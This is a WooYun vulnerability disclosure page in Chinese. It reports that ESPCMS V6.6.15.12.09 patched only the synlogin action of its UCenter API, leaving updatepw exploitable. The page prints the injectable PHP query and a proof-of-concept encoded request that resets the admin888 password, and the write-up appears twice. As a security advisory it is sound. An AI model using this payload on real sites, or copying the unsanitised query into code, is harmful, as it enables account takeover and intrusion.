当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2015-162604

漏洞标题: ESPCMS最新版V6.6.15.12.09缺陷各种问题(修复不恰当)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Xser

提交时间: 2015-12-21 13:39

公开时间: 2015-12-26 16:56

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-21: 细节已通知厂商并且等待厂商处理中
2015-12-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-02-19: 细节向核心白帽子及相关领域专家公开
2016-02-29: 细节向普通白帽子公开
2016-03-10: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

修复不恰当继续导致问题

详细说明:

我们可以看到espcms打了uc的补丁



位于/ESPCMSV6600151209_INSTALL/upload/ucenter补丁/control/admin/app.php中





code 区域
function onadd() {
if (!$this->submitcheck()) {
$md5ucfounderpw = md5(UC_FOUNDERPW);
$this->view->assign('md5ucfounderpw', $md5ucfounderpw);

$a = getgpc('a');
$this->view->assign('a', $a);
$typelist = array('UCHOME' => 'UCenter Home', 'XSPACE' => 'X-Space', 'DISCUZ' => 'Discuz!', 'SUPESITE' => 'SupeSite', 'SUPEV' => 'SupeV', 'ECSHOP' => 'ECShop', 'ECMALL' => 'ECMall', 'OTHER' => $this->lang['other']);
$this->view->assign('typelist', $typelist);
$this->view->display('admin_app');
} else {
$type = getgpc('type', 'P');
$name = getgpc('name', 'P');
$url = getgpc('url', 'P');
$ip = getgpc('ip', 'P');
$viewprourl = getgpc('viewprourl', 'P');
$authkey = getgpc('authkey', 'P');
$authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);
$synlogin = getgpc('synlogin', 'P');
$recvnote = getgpc('recvnote', 'P');
$apifilename = trim(getgpc('apifilename', 'P'));

$tagtemplates = array();
$tagtemplates['template'] = getgpc('tagtemplates', 'P');
$tagfields = explode("\n", getgpc('tagfields', 'P'));
foreach ($tagfields as $field) {
$field = trim($field);
list($k, $v) = explode(',', $field);
if ($k) {
$tagtemplates['fields'][$k] = $v;
}
}
$tagtemplates = $this->serialize($tagtemplates, 1);





紧紧过滤了synlogin这个函数,可updatepw这些呢??



所以继续导致漏洞发生,还是可以导致任意用户密码重置,直接getshell,注入等



继续用这个函数来演示



code 区域
function updatepw($get, $post) {
if (!API_UPDATEPW) {
return API_RETURN_FORBIDDEN;
}
$username = $get['username'];
$password = $get['password'];
$newpw = md5($password);
$this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
return API_RETURN_SUCCE





code 区域
code = _authcode('action=updatepw&time=1477834492&username=admin888&password=1111111','ENCODE','')

http://**.**.**.**/api/uc.php?code=094epCszE0DZRnt2Pv34E8VkGrLYXsXizGVzdzeJIhXoTx7N8w%2bLG6zR0zWMwkUbhtyXrBEFXHctzJrLdiu6aaixIJYNH0%2bt9U%2byhpmQhvgwFM11ss9oe%2faJ2uc7KGQ //将admin888用户密码改为1111111





提交code返回数字1表示执行成功

QQ截图20151219011001.png



试试登录

QQ截图20151219011015.png

成功

漏洞证明:

我们可以看到espcms打了uc的补丁



位于/ESPCMSV6600151209_INSTALL/upload/ucenter补丁/control/admin/app.php中





code 区域
function onadd() {
if (!$this->submitcheck()) {
$md5ucfounderpw = md5(UC_FOUNDERPW);
$this->view->assign('md5ucfounderpw', $md5ucfounderpw);

$a = getgpc('a');
$this->view->assign('a', $a);
$typelist = array('UCHOME' => 'UCenter Home', 'XSPACE' => 'X-Space', 'DISCUZ' => 'Discuz!', 'SUPESITE' => 'SupeSite', 'SUPEV' => 'SupeV', 'ECSHOP' => 'ECShop', 'ECMALL' => 'ECMall', 'OTHER' => $this->lang['other']);
$this->view->assign('typelist', $typelist);
$this->view->display('admin_app');
} else {
$type = getgpc('type', 'P');
$name = getgpc('name', 'P');
$url = getgpc('url', 'P');
$ip = getgpc('ip', 'P');
$viewprourl = getgpc('viewprourl', 'P');
$authkey = getgpc('authkey', 'P');
$authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);
$synlogin = getgpc('synlogin', 'P');
$recvnote = getgpc('recvnote', 'P');
$apifilename = trim(getgpc('apifilename', 'P'));

$tagtemplates = array();
$tagtemplates['template'] = getgpc('tagtemplates', 'P');
$tagfields = explode("\n", getgpc('tagfields', 'P'));
foreach ($tagfields as $field) {
$field = trim($field);
list($k, $v) = explode(',', $field);
if ($k) {
$tagtemplates['fields'][$k] = $v;
}
}
$tagtemplates = $this->serialize($tagtemplates, 1);





紧紧过滤了synlogin这个函数,可updatepw这些呢??



所以继续导致漏洞发生,还是可以导致任意用户密码重置,直接getshell,注入等



继续用这个函数来演示



code 区域
function updatepw($get, $post) {
if (!API_UPDATEPW) {
return API_RETURN_FORBIDDEN;
}
$username = $get['username'];
$password = $get['password'];
$newpw = md5($password);
$this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
return API_RETURN_SUCCE





code 区域
code = _authcode('action=updatepw&time=1477834492&username=admin888&password=1111111','ENCODE','')

http://**.**.**.**/api/uc.php?code=094epCszE0DZRnt2Pv34E8VkGrLYXsXizGVzdzeJIhXoTx7N8w%2bLG6zR0zWMwkUbhtyXrBEFXHctzJrLdiu6aaixIJYNH0%2bt9U%2byhpmQhvgwFM11ss9oe%2faJ2uc7KGQ //将admin888用户密码改为1111111





提交code返回数字1表示执行成功

QQ截图20151219011001.png



试试登录

QQ截图20151219011015.png

成功

修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-26 16:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-12-21 13:40 | DNS ( 普通白帽子 | Rank:748 漏洞数:81 | root@qisec.com)
    0

    mark

  2. 2015-12-23 11:37 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)
    0

    666

登录后才能发表评论,请先 登录